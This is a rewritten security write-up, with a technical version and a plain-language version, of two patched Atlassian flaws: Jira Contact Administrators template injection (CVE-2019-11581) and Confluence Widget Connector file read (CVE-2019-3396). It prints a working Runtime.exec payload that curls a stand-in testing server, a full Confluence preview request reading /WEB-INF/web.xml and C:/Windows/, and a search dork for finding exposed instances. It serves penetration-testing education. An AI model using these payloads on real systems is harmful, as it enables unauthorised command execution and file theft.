Two easy RCE in Atlassian Products
Published on medium.com
Valeriy Shevchenko
The full write-up lives on its author's site
It belongs to its author, so we link to it rather than copy it. The other two tabs are our own rewrites, checked against it.
Context
This write-up covers two remote code execution issues in Atlassian products, both of which were already public and patched at the time of writing, each with its own CVE number. The author's point is that old, unpatched instances are still worth looking for in a testing scope, and that neither bug is hard to exploit once you have the right version in front of you.
The first is a remote code execution issue in Jira's Contact Administrators form, tracked as CVE-2019-11581. The form is the feature a user reaches from the dashboard to send a message to the Jira administrators; the server renders the submitted content, and that rendering is where the injection lives.
The second is a remote code execution issue in Confluence's Widget Connector macro, tracked as CVE-2019-3396. The macro embeds external content, such as a YouTube video, into a page, and it accepts a _template parameter that selects which template file the server uses to render the widget.
The author also takes a swipe at the hype around an older Jira Shared filters issue (JRASERVER-23255), which he considers a bug of questionable impact that had been known for a long time.

Setup
No accounts, roles or product versions are given beyond the fact that the target must run a vulnerable version. The tooling used across both bugs is small:
- A browser, to check the dashboard and the Contact Administrators page.
- A server or collaborator to receive out-of-band requests. The author used a Burp Collaborator or his own server, reached through an ngrok tunnel.
- Burp Suite, to capture and replay the Confluence macro preview request.
For the Jira issue, the advisory conditions are explicit: at least one of the following must hold for the bug to be exploitable.
- An SMTP server has been configured in Jira and the Contact Administrators Form is enabled.
- An SMTP server has been configured in Jira and the attacker has "JIRA Administrators" access.
Finding it
For Jira, the author credits the Knownsec 404 team video as the first disclosure, notes that at the time there was no public proof of concept, and then points to research by ruvlol which established that the root of the problem is the ContactAdministrators!default.jspa form. That research also made clear, in the author's reading, that the Knownsec 404 team was mistaken about the number of affected instances.
Finding candidates is a matter of search engine dorking for instances that expose the form:
inurl:secure/ContactAdministrators!default.jspa
For Confluence, the author encountered the issue during a security assessment of a target that showed signs of being vulnerable to RCE through the Widget Connector. He describes this class of bug as hard to build a good proof of concept for because of its complexity, and says he spent time working through the Knownsec 404 team's research article to understand the root of the problem before reproducing the steps on the company's Confluence instance.
Exploitation
Jira: command injection in the Contact Administrators form
Step 1: confirm the form exists
From the dashboard page, check that the Jira instance supports the Contact Administrator form.

Step 2: confirm the page is reachable
It is better to check the accessibility of the page directly at a URL of this shape:
https://jira.example.com/secure/ContactAdministrators!default.jspa
Step 3: prepare a listener and submit the payload
Prepare Burp Collaborator or your own server to receive the request that proves execution. The author used an ngrok tunnel. Then fill in the contact form with this payload:
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://your-testing-server.com/rcetest?a=a').waitFor()
The payload resolves the Runtime class through the $i18n object, obtains the singleton runtime with getRuntime, invokes it, and calls exec with a curl command that requests the author's testing server with the query string a=a. The trailing waitFor() blocks until the spawned process finishes. In short, the payload makes a simple curl request to your server, which is the out-of-band signal that server-side code ran.

Step 4: confirm the callback
Confirm your results by receiving a request from the vulnerable Jira environment.

Confluence: RCE via the Widget Connector macro
Step 1: check the version and capture a preview request
First, check whether your version is still vulnerable to CVE-2019-3396. If it is, find a YouTube video to insert, click Preview, and use Burp Suite to capture the request.
Step 2: send the malicious macro preview
Send a POST request with the malicious payload in the _template parameter. If you do not have access to your own Confluence, the author suggests crafting the request from his mock. The Cookie header has to be renewed.
POST /rest/tinymce/1/macro/preview HTTP/1.1Referer: https://confluence.yourtarget.com/Content-Type: application/json; charset=utf-8Cookie: BIGipServerrb-p_cp-confluence_https_pool=!BUsntvn1os/4xuQWbHAsuN+1fsz22TIKPNFouw==;JSESSIONID=[redacted]: */*Accept-Encoding: gzip,deflateContent-Length: 173Host: confluence.yourtarget.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36Connection: Keep-alive{"contentId":"123","macro":{"name":"widget","body":"","params":{"url":"https://www.youtube.com/watch?v=1","width":"200","height":"200","_template":"/WEB-INF/web.xml"}}}
The request targets the macro preview endpoint used by the editor. The JSON body declares a macro named widget with an ordinary YouTube url and dimensions, and then sets _template to /WEB-INF/web.xml, a server-side file outside the web root that should never be rendered to a client. The Cookie header has to be renewed for the target.
Step 3: read files from the server
After requesting /WEB-INF/web.xml, the author requested the file:///C:/Windows/ directory and confirmed the other side was a Windows environment. He then requested the file:///C:/Windows/ directory, and in an embedded object he found a list of all the data inside it from the server.

Step 4: command execution
The final step would be to execute a command. At that point, however, it was enough to show a valid proof of concept for the company where the assessment was being done.
Root cause
For Jira, the author states plainly that the root of the problem is the ContactAdministrators!default.jspa form, following ruvlol's research. The submitted content is evaluated rather than treated as inert text, which is what allows an expression such as $i18n.getClass()... to reach Runtime.exec. The report does not go into the server-side implementation beyond naming the form.
For Confluence, the issue is in the Widget Connector macro: the _template parameter is attacker-controlled and is used to select a template file on the server, so a path such as /WEB-INF/web.xml is read and rendered back. The report does not describe the rendering engine internals; the step from file read to command execution is implied by the author's statement that executing a command is the final step, but the mechanics are not shown.
Impact
On Jira, successful exploitation means arbitrary command execution on the server, demonstrated by an outbound curl from the Jira host. It applies only where an SMTP server has been configured and either the Contact Administrators Form is enabled or the attacker holds JIRA Administrators access.
On Confluence, the impact shown is arbitrary file read from the server, including files under /WEB-INF/ and directory listings on a Windows host, with command execution as the stated final step. In the assessed environment the issue was valid and the entire server was shut down as vulnerable for mitigation work.
Fix
Both issues carry CVE numbers and were fixed by Atlassian with patches and software updates; the author links the Jira security advisory of 2019-07-10 and the Confluence security advisory of 2019-03-20, and points readers to the affected version lists for CVE-2019-11581 and CVE-2019-3396. The report does not describe the code changes themselves. The practical fix is to upgrade to a version outside the affected ranges.
Variants to test
- Search for exposed Contact Administrators forms with
inurl:secure/ContactAdministrators!default.jspa, then loadhttps://<host>/secure/ContactAdministrators!default.jspa. A positive result is a working form on a version listed as affected. - Submit the
$i18n.getClass()...exec('curl ...')payload through the form with a listener ready. A positive result is an inbound HTTP request from the Jira host. - On Confluence, capture a Widget Connector preview from the editor and change
_templateto/WEB-INF/web.xml. A positive result is the contents of that file in the preview response. - On a Windows host, set
_templatetofile:///C:/Windows/. A positive result is a directory listing rendered inside the embedded object.
What happened, in plain words
This article is about two security bugs in products made by Atlassian, the company behind Jira and Confluence. Jira is a tool teams use to track tasks and tickets; Confluence is a tool teams use to write and share pages, a bit like an internal wiki. Both bugs are remote code execution issues; in the Jira case the author demonstrated running a command on the server. In security language that is called remote code execution, usually shortened to RCE: "remote" because the attacker does it over the network from their own machine, and "code execution" because the server ends up running instructions the attacker chose. A simple comparison: imagine you post a letter to a company and the company, instead of just filing the letter, follows any instruction written inside it, such as "open the safe and post the contents back to me". That is roughly what an RCE feels like from the outside.
Both bugs were already public and already fixed by Atlassian when the article was written, and each has its own CVE number. A CVE number is a public identifier for a known vulnerability, like a registration plate that lets everyone refer to the same bug unambiguously. The author's point is that old installations which were never updated are still out there, so if you are testing a system and you find an old version, these bugs are worth trying. He also stresses that neither one is hard to exploit once you have the right version in front of you.
The first bug is in Jira, in a feature called the Contact Administrators form. That form is the page a normal user reaches from their dashboard to send a message to the Jira administrators, for example to ask for help or report a problem. The server takes what was typed into the form and processes it, and that processing is where the bug lives. The bug is tracked as CVE-2019-11581.
The second bug is in Confluence, in a feature called the Widget Connector macro. A macro is a small building block you can drop into a Confluence page; this particular one embeds external content, such as a YouTube video, so that the video plays inside the page. The macro accepts a setting called _template which tells the server which template file to use when rendering the widget. The bug is that a crafted request can point that setting at files on the server that should never be shown to a visitor. The bug is tracked as CVE-2019-3396.
The author also has a go at the excitement around an older Jira issue in Shared filters, tracked as JRASERVER-23255, which he considers a bug of questionable impact that had been known for a long time.

What you need before you start
The article does not give accounts, roles or exact product versions beyond one rule: the target has to be running a version that is still vulnerable. The tooling is small.
- A browser, to look at the dashboard and the Contact Administrators page.
- A server or a collaborator service that can receive requests coming from the target. The author used Burp Collaborator or his own server, reached through an ngrok tunnel. Burp Collaborator is a service that gives you a unique address and records any request that arrives at it, which is useful when the target server makes an outbound connection you cannot see directly. ngrok is a small program that takes a service running on your own machine and gives it a public address on the internet, so that a remote server can reach it.
- Burp Suite, a tool that sits between your browser and a website and lets you see and edit the requests your browser sends. The author used it to capture and replay the Confluence macro preview request.
For the Jira bug, the official advisory states two conditions, and at least one of them must be true for the bug to be exploitable.
- An SMTP server has been configured in Jira and the Contact Administrators Form is enabled.
- An SMTP server has been configured in Jira and the attacker has "JIRA Administrators" access.
SMTP is the protocol used to send email. The advisory lists a configured SMTP server as one of the conditions for the bug to be exploitable.
How the author found the targets
For Jira, the author credits the Knownsec 404 team video as the first public disclosure of the issue. At the time, there was no public proof of concept, meaning no ready-made recipe showing how to actually trigger the bug. He then points to research by ruvlol which established that the root of the problem is the ContactAdministrators!default.jspa form. That research, in the author's reading, also made clear that the Knownsec 404 team was mistaken about how many instances were affected.
Finding candidate targets is a matter of using a search engine to look for installations that expose the form. The technique is called dorking: you give a search engine a query that matches a distinctive part of a URL, and the results are pages that contain that string. The query used here is:
inurl:secure/ContactAdministrators!default.jspa
Line by line: inurl: is a search operator that tells the engine to look for the following text inside the address of a page rather than in its body. secure/ContactAdministrators!default.jspa is the distinctive part of the Jira contact form address. So the whole query asks the search engine for any page whose address contains that path, which in practice returns Jira installations that have the form reachable.
For Confluence, the author came across the issue during a security assessment of a target that showed signs of being vulnerable to RCE through the Widget Connector. He describes this class of bug as hard to build a good proof of concept for because of its complexity, and says he spent time working through the Knownsec 404 team's research article to understand the root of the problem before reproducing the steps on the company's Confluence instance.
Exploiting the Jira bug
Step 1: confirm the form exists
From the dashboard page, check that the Jira instance supports the Contact Administrator form. This is the first sanity check: if the form is not there, there is nothing to attack. The dashboard is the page you land on after logging in, and the form is normally reachable from a link on it.

Step 2: confirm the page is reachable directly
It is better to check the accessibility of the page directly at a URL of this shape:
https://jira.example.com/secure/ContactAdministrators!default.jspa
Line by line: https:// is the secure web protocol. jira.example.com is a placeholder for the host name of the Jira installation; example.com is a reserved domain used in documentation so that nobody accidentally points at a real site. /secure/ContactAdministrators!default.jspa is the path of the contact form on the server. The .jspa ending tells you the page is generated by a Java server component, which is a hint about the technology underneath. Opening this URL in a browser confirms the form is served even when you reach it directly, not only through a link from the dashboard.
Step 3: prepare a listener and submit the payload
Prepare Burp Collaborator or your own server to receive the request that proves execution. The author used an ngrok tunnel. Then fill in the contact form with this payload:
$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null).invoke(null,null).exec('curl http://your-testing-server.com/rcetest?a=a').waitFor()
A payload is simply the piece of text an attacker puts into an input field hoping the server will treat it as instructions rather than as plain text. This one is written in a Java-like expression language, which is a small language that lets a template call Java objects by name. Line by line, reading from left to right:
$i18nis a variable that the template engine already has available; it refers to an object used for translations. The attacker does not need to create it, it is handed to the template for free..getClass()asks that object which Java class it belongs to. Every object in Java can answer this, and the answer gives you a handle on the class itself..forName('java.lang.Runtime')is called on that class and asks Java to load another class by name, herejava.lang.Runtime.Runtimeis the Java class that represents the running program and can start other programs..getMethod('getRuntime',null)looks up a method calledgetRuntimeon that class. Thenullsays the method takes no arguments.getRuntimeis the standard way to obtain the single shared instance ofRuntime..invoke(null,null)calls that method. The firstnullmeans the method is static, so there is no particular object to call it on; the secondnullis the empty argument list..exec('curl http://your-testing-server.com/rcetest?a=a')runs an operating system command. Here the command iscurl, a small program that makes an HTTP request. It is told to requesthttp://your-testing-server.com/rcetest?a=a, which is the author's own testing server with a query stringa=a. The query string is just a marker so the author can recognise the incoming request..waitFor()makes the expression wait until the started process finishes, so the server does not move on before the request has gone out.
In short, the payload makes a simple curl request to your server. That request is the out-of-band signal: it arrives from the Jira host, not from your own machine, which proves that code ran on the server. Out-of-band means the proof comes back through a different channel than the one you sent the attack on.

Step 4: confirm the callback
Confirm your results by receiving a request from the vulnerable Jira environment. If your listener records an incoming request at the moment you submit the form, the bug is confirmed on that instance.

Exploiting the Confluence bug
Step 1: check the version and capture a preview request
First, check whether your version is still vulnerable to CVE-2019-3396. If it is, find a YouTube video to insert, click Preview, and use Burp Suite to capture the request. The Preview button is used to make Confluence render the widget before the page is saved. Capturing the request means letting Burp Suite sit in the middle so you can see the exact HTTP message the browser sent, and later send your own edited copy of it.
Step 2: send the malicious macro preview
Send a POST request with the malicious payload in the _template parameter. If you do not have access to your own Confluence, the author suggests crafting the request from his mock. The Cookie header has to be renewed. A cookie is a small piece of data the browser stores for a site; the session cookie is what tells the server which logged-in user is making the request, so an old cookie from someone else's session will not work and must be replaced with a valid one for the target.
POST /rest/tinymce/1/macro/preview HTTP/1.1Referer: https://confluence.yourtarget.com/Content-Type: application/json; charset=utf-8Cookie: BIGipServerrb-p_cp-confluence_https_pool=!BUsntvn1os/4xuQWbHAsuN+1fsz22TIKPNFouw==;JSESSIONID=[redacted]: */*Accept-Encoding: gzip,deflateContent-Length: 173Host: confluence.yourtarget.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36Connection: Keep-alive{"contentId":"123","macro":{"name":"widget","body":"","params":{"url":"https://www.youtube.com/watch?v=1","width":"200","height":"200","_template":"/WEB-INF/web.xml"}}}
This block is one HTTP request, the same kind of message your browser sends every time you load a page. It is shown as it was captured, with the header lines run together. Reading it piece by piece:
POST /rest/tinymce/1/macro/preview HTTP/1.1is the request line.POSTmeans the request carries data in its body./rest/tinymce/1/macro/previewis the endpoint, meaning the specific address on the server that handles this action; here it is the macro preview used by the editor.HTTP/1.1is the version of the protocol.Referer: https://confluence.yourtarget.com/tells the server which page the request came from.yourtarget.comis a placeholder for the real host.Content-Type: application/json; charset=utf-8says the body is JSON, a text format for structured data, encoded in UTF-8.Cookie: BIGipServerrb-p_cp-confluence_https_pool=!BUsntvn1os/4xuQWbHAsuN+1fsz22TIKPNFouw==;JSESSIONID=[redacted]carries the session identifiers. The first value is a load balancer cookie, the second is the Java session identifier. The Cookie header has to be renewed for the target.Accept: */*says the client will accept any response type.Accept-Encoding: gzip,deflatesays the client can handle compressed responses.Content-Length: 173is the length of the body in bytes.Host: confluence.yourtarget.comnames the site being asked.User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36identifies the browser, here Chrome on Windows.Connection: Keep-aliveasks to keep the network connection open for further requests.- The body is the JSON:
{"contentId":"123","macro":{"name":"widget","body":"","params":{"url":"https://www.youtube.com/watch?v=1","width":"200","height":"200","_template":"/WEB-INF/web.xml"}}}. It declares a macro namedwidgetwith an ordinary YouTubeurland dimensions of 200 by 200, and then sets_templateto/WEB-INF/web.xml.WEB-INFis a folder inside a Java web application that holds configuration and class files; it is not meant to be served to visitors, so asking the server to render a file from there is the abuse. The rest of the JSON is camouflage: on the surface it looks like a normal video embed.
Step 3: read files from the server
After requesting /WEB-INF/web.xml, the author requested the file:///C:/Windows/ directory and confirmed the other side was a Windows environment. He then requested the file:///C:/Windows/ directory, and in an embedded object he found a list of all the data inside it from the server. file:// is a URL scheme that points at a file on the local machine rather than at a web address, so file:///C:/Windows/ means the Windows folder on the server itself. A directory listing is simply the list of files and folders inside a folder, which the server returned inside the rendered widget.

Step 4: command execution
The final step would be to execute a command. At that point, however, it was enough to show a valid proof of concept for the company where the assessment was being done. A proof of concept is a demonstration that the bug is real, without going further than needed to convince the owner.
Why the bugs work
For Jira, the author states plainly that the root of the problem is the ContactAdministrators!default.jspa form, following ruvlol's research. The submitted content is evaluated rather than treated as inert text, which is what allows an expression such as $i18n.getClass()... to reach Runtime.exec. The report does not go into the server-side implementation beyond naming the form.
For Confluence, the issue is in the Widget Connector macro: the _template parameter is attacker-controlled and is used to select a template file on the server, so a path such as /WEB-INF/web.xml is read and rendered back. The report does not describe the rendering engine internals; the step from file read to command execution is implied by the author's statement that executing a command is the final step, but the mechanics are not shown.
What the impact is
On Jira, successful exploitation means arbitrary command execution on the server, demonstrated by an outbound curl from the Jira host. It applies only where an SMTP server has been configured and either the Contact Administrators Form is enabled or the attacker holds JIRA Administrators access.
On Confluence, the impact shown is arbitrary file read from the server, including files under /WEB-INF/ and directory listings on a Windows host, with command execution as the stated final step. In the assessed environment the issue was valid and the entire server was shut down as vulnerable for mitigation work.
How to fix it
Both issues carry CVE numbers and were fixed by Atlassian with patches and software updates; the author links the Jira security advisory of 2019-07-10 and the Confluence security advisory of 2019-03-20, and points readers to the affected version lists for CVE-2019-11581 and CVE-2019-3396. The report does not describe the code changes themselves. The practical fix is to upgrade to a version outside the affected ranges.
Things to try on your own targets
- Search for exposed Contact Administrators forms with
inurl:secure/ContactAdministrators!default.jspa, then loadhttps://<host>/secure/ContactAdministrators!default.jspa. A positive result is a working form on a version listed as affected. - Submit the
$i18n.getClass()...exec('curl ...')payload through the form with a listener ready. A positive result is an inbound HTTP request from the Jira host. - On Confluence, capture a Widget Connector preview from the editor and change
_templateto/WEB-INF/web.xml. A positive result is the contents of that file in the preview response. - On a Windows host, set
_templatetofile:///C:/Windows/. A positive result is a directory listing rendered inside the embedded object.
Glossary
- Atlassian: the company that makes Jira and Confluence.
- Jira: a tool for tracking tasks and tickets.
- Confluence: a tool for writing and sharing pages, similar to an internal wiki.
- Remote code execution (RCE): a bug that lets an attacker make a remote server run instructions of their choosing.
- CVE: a public identifier for a known vulnerability, so everyone can refer to the same bug unambiguously.
- Contact Administrators form: the Jira page a user reaches from the dashboard to send a message to the Jira administrators.
- Widget Connector macro: a Confluence building block that embeds external content, such as a YouTube video, into a page.
- Macro: a small reusable block you can drop into a Confluence page.
_templateparameter: the setting on the Widget Connector macro that selects which template file the server uses to render the widget.- SMTP: the protocol used to send email; Jira needs an SMTP server to deliver messages from the contact form.
- Burp Collaborator: a service that gives you a unique address and records any request that arrives at it, used to catch out-of-band callbacks.
- ngrok: a program that exposes a service running on your own machine at a public address on the internet.
- Burp Suite: a tool that sits between your browser and a website so you can see and edit the requests your browser sends.
- Dorking: using a search engine with a query that matches a distinctive part of a URL to find pages that contain it.
inurl:: a search engine operator that looks for the following text inside a page's address.- Payload: the piece of text an attacker puts into an input field hoping the server treats it as instructions.
- Expression language: a small language that lets a template call Java objects by name.
$i18n: a variable the template engine already provides, used for translations.getClass(): a Java method that returns the class an object belongs to.forName(...): a Java method that loads a class by name.java.lang.Runtime: the Java class that represents the running program and can start other programs.getRuntime: the standard Java method that returns the single sharedRuntimeinstance.invoke(...): a Java method that calls another method.exec(...): a Java method that runs an operating system command.curl: a small program that makes an HTTP request.waitFor(): a Java method that waits until a started process finishes.- Out-of-band: a proof that comes back through a different channel than the one the attack was sent on.
- Proof of concept (PoC): a demonstration that a bug is real, without going further than needed to convince the owner.
- HTTP: the protocol browsers and servers use to exchange requests and responses.
- POST: an HTTP method for requests that carry data in their body.
- Endpoint: the specific address on a server that handles a particular action.
- Header: a line in an HTTP request or response that carries metadata, such as the content type or a cookie.
- Cookie: a small piece of data a browser stores for a site; the session cookie identifies the logged-in user.
- Session: the server-side state that ties a series of requests to one logged-in user.
- JSON: a text format for structured data.
- Content-Type: a header that says what format the body is in.
- Content-Length: a header that gives the length of the body in bytes.
- Host: a header that names the site being asked.
- User-Agent: a header that identifies the browser making the request.
- Referer: a header that says which page the request came from.
WEB-INF: a folder inside a Java web application that holds configuration and class files and is not meant to be served to visitors.file://: a URL scheme that points at a file on the local machine rather than at a web address.- Directory listing: the list of files and folders inside a folder.
- Path traversal: a bug where an attacker can make the server read a file outside the folder it was supposed to use.
- Template injection: a bug where attacker-controlled text is evaluated by a template engine instead of being treated as plain text.
- Command injection: a bug where attacker-controlled text ends up being run as an operating system command.
- Security advisory: an official notice from a vendor describing a vulnerability and its fix.
- Patch: a software update that fixes a bug.
- Mitigation: a temporary measure to reduce risk, such as shutting a server down, until a proper fix is applied.